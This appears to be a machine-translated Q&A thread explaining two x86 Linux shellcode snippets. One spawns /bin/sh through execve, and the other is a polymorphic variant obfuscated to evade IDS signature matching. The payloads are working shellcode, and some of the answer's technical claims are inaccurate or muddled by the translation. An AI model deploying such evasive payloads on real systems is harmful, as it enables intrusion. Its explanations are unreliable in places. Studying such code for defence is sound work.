以下是两个asm代码(从此论坛复制polymorphic-shellcode):
混淆之前的global _start
section .text
_start
xor eax,eax
push eax
push dword 0x68732f2f ; //sh
push dword 0x6e69622f ; /bin
mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,0xb ; execve()
int 0x80
xor eax,eax
inc eax
int 0x80
global _start
section .text
_start:
xor edx, edx ;line 1
push edx ;line 2
mov eax, 0x563ED8B7 ;line 3
add eax, 0x12345678 ;line 4
push eax ;line 5
mov eax, 0xDEADC0DE ;line 6
sub eax, 0x70445EAF ;line 7
push eax ;line 8
push byte 0xb ;line 9
pop eax ;line 10
mov ecx, edx ;line 11
mov ebx, esp ;line 12
push byte 0x1 ;line 13
pop esi ;line 14
int 0x80 ;line 15
xchg esi, eax ;line 16
int 0x80 ;line 17
它做了四处改动:
Q1.1:我可以理解第3到8行(修订版asm)。第9行是什么意思?等于" mov al,0xb"原来的asm?
Q2.1:例如,第1行和第2行(修订版asm)是指这个?
Q2.2:我理解混淆,因为IDS无法匹配关键字,为什么要更改寄存器?
Q3.1:我不明白这一点。使用以上两个asm解释它。
Q4.1:在原来的asm中,为什么有两个int 0x80?我试图删除最后的0x80,它仍然有效。 Q4.2:添加与混淆直接相关的不必要步骤??
问题5:为什么" pop eax"在第10行?
答案 0 :(得分:1)
Q1.1:我可以理解第3到8行(修订版asm)。第9行是什么意思?等于" mov al,0xb"原来的asm?
第9行和第10行执行push byte 0xb, pop eax
,这显然会转换为mov eax,0x0000000b
。因为x86是小端,所以al
填充0xb
(eax
的其余部分注册为零)。因此,它实际上取代了xor eax,eax
/ mov al,0xb
组合。
push 0xb -> mov [ss:esp],0x0000000b ; memory at SS:ESP = 0x0000000b
pop eax -> mov eax,[ss:esp] ; ergo eax = 0x0000000b
Q2.2:我理解混淆,因为IDS无法匹配关键字,为什么要更改寄存器?
许多编译器以或多或少的标准方式使用寄存器。像IDA-pro(或IDS)这样的高级程序可以使用这些知识将程序集反编译回可读的源代码,前提是它可以推断出用于创建程序的确切编译器版本。通过混合寄存器,反编译器很难将汇编代码转换为更高级别(伪)的源代码。对于使用已知代码片段来推断程序执行的操作的IDS也是如此。
重新排序说明。在调用execve之前,不要以相同的顺序初始化寄存器。 Q3.1:我不明白这一点。使用以上两个asm解释它。
如果您使用系统调用,则可以相对轻松地推断应用程序正在执行的操作。 Linux(例如)将调用#存储在eax
中,并且每个调用都在预定的寄存器中指定了参数。通过使分析程序难以确定eax
的值,不清楚正在执行哪个系统调用。没有这些知识,其他寄存器(读取:参数)的含义是不可知的。如果你用非废话值填充未使用的寄存器,那么事情变得更难以解释。
obfuscater不希望你知道它正在调用syscall#11(execve)。要做到这一点,唯一的方法是尝试以eax
方式加载0xb
。
如果我们总是最后(或第一次)加载eax
,那么就可以更容易地弄清楚发生了什么。如果我们使用2条或更多条指令加载eax
,并且我们在其间放置了大量不相关的指令,则在执行系统调用的eax
之前跟踪int 0x80
的最终值变得更加困难
Q4.1:在原始的asm中,为什么有两个
int 0x80
?我试图删除最后的0x80,它仍然有效。 Q4.2:添加与混淆直接相关的不必要步骤??
不,之前的系统调用(execve)在成功返回后将1
加载到eax中。 Syscall#1恰好是sys_exit
,它干净地关闭了程序。将代码注入程序时,插入的代码段之后的字节是随机垃圾,我们不想执行这些字节,因此必须干净地退出线程。致sys_exit
的呼吁实现了这一点
如果您将此代码段组装为独立程序,则汇编程序将为您附加sys_exit
调用。这就是为什么删除最后一个int 0x80
似乎没有任何区别。
问题5:为什么" pop eax"在第10行?
首先0xb
为push
,然后pop
加入eax
,基本上执行mov eax,0xb
。